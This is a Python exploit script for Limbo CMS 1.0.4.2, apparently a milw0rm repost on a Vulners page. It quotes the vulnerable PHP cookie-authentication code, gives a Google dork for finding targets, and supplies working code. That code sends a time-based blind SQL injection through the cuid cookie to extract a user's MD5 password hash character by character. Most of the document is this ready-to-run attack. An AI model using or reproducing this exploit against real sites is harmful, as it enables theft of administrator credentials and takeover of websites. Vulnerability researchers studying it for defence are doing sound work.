#!/usr/bin/python
#=================================================================================================#
# ____ __________ __ ____ __ #
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
# | | | \ | |/ \ \___| | /_____/ | || | #
# |___|___| /\__| /______ /\___ >__| |___||__| #
# \/\______| \/ \/ #
#=================================================================================================#
# This is a Public Exploit. #
# Date: 08/02/2008 [dd,mm,yyyy] #
# #
#=================================================================================================#
# Limbo 1.0.4.2 And Probably Lower Blind Sql Injection Exploit Benchmark Method #
# #
# Vendor: http://www.limbo-cms.com #
# Severity: Highest #
# Author: The:Paradox #
#=================================================================================================#
# Proud To Be Italian. #
#=================================================================================================#
"""
Related Codes:
class_auth.php; line 92:
function Auth()
{
if(isset($_SESSION['uid']) && $_SESSION['uid']!='')
{
$this->id=$_SESSION['uid'];
$this->initlogin();
return;
}
//cokkie
if(isset($_COOKIE['cuid']) && isset($_COOKIE['cusername']) && isset($_COOKIE['cpassword']))
{
global $conn,$lm_rand;
$row=$conn->GetRow("SELECT * FROM #__users WHERE id=".$_COOKIE['cuid']);
if($_COOKIE['cusername']==$row['username'] && $_COOKIE['cpassword']==md5($lm_rand.$row['password']) ) {
$this->id=$_COOKIE['cuid'];
$this->initlogin();
}
}
}
"""
#=================================================================================================#
# Proof Of Concept / Bug Explanation: #
# #
# Cuid cookie isn't propelly checked. Blind Sql Injection Vulnerability. In this exploit I'll use #
# benchmark method. #
# Additionally database prefix isn't needed, 'cause the coder automatically replaces "#__" with #
# the prefix in GetRow Function (is a REAL bad practice) . #
# Limbo allows also an installation without sql database (Flat). I'm working on it. #
# This exploit cannot work on that type of installation. #
#=================================================================================================#
# Google Dork=> Site powered By Limbo CMS #
#=================================================================================================#
# Use this at your own risk. You are responsible for your own deeds. #
#=================================================================================================#
# Python Exploit Starts #
#=================================================================================================#
import httplib, sys, time
print "\n#=========================================================#"
print " Limbo CMS 1.0.4.2 And Probably Lower "
print " Blind Sql Injection Vulnerability "
print " Benchmark Method "
print " "
print " Discovered By The:Paradox "
print " "
print " Usage: "
print " %s [Target] [Path] [User_id] " % (sys.argv[0])
print " "
print " Example: "
print " %s 127.0.0.1 /limbo/ 1 " % (sys.argv[0])
print " %s www.host.com / 1 " % (sys.argv[0])
print " "
print " "
print "#=========================================================#\n"
if len(sys.argv)<=3: sys.exit()
else: print "[.]Exploit Starting."
target = sys.argv[1]
path = sys.argv[2]
user_id = sys.argv[3]
benchmark = "200000000" #Set This One
vtime = 6 #Set This One
port = "80"
j=1
h4sh = ""
md5tuple = []
for k in range(48,58): # 48->57 and 97->102
md5tuple.append(k)
for k in range(97,103):
md5tuple.append(k)
md5tuple.append('END')
#Query will Result like this one ===> SELECT * FROM #__users WHERE id=(SELECT/**/IF((ASCII(SUBSTRING(password,1,1))=50),benchmark(30000000,CHAR(0)),null)/**/FROM/**/#__users/**/WHERE/**/id=1)
print "[.]Blind Sql Injection Starts.\n\nHash:"
while j <= 32:
for i in md5tuple:
if i == 'END': sys.exit('[-]Exploit Failed.\n')
start = time.time()
conn = httplib.HTTPConnection(target,port)
conn.request("GET", path + "admin.php", {}, {"Accept": "text/plain","Cookie": "cpassword=1; cusername=1; cuid=(SELECT/**/IF((ASCII(SUBSTRING(password," + str(j) + ",1))=" + str(i) + "),benchmark(" + benchmark + ",CHAR(0)),null)/**/FROM/**/#__users/**/WHERE/**/id="+user_id+");"})
response = conn.getresponse()
read = response.read()
if response.status == 404: sys.exit('[-]Error 404. Not Found.')
now = time.time()
if now - start > vtime:
sys.stdout.write(chr(i))
sys.stdout.flush()
h4sh += chr(i)
j += 1
break;
print "\n\n[+]All Done.\n-=Paradox Got This One=-"
# milw0rm.com [2008-02-09]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation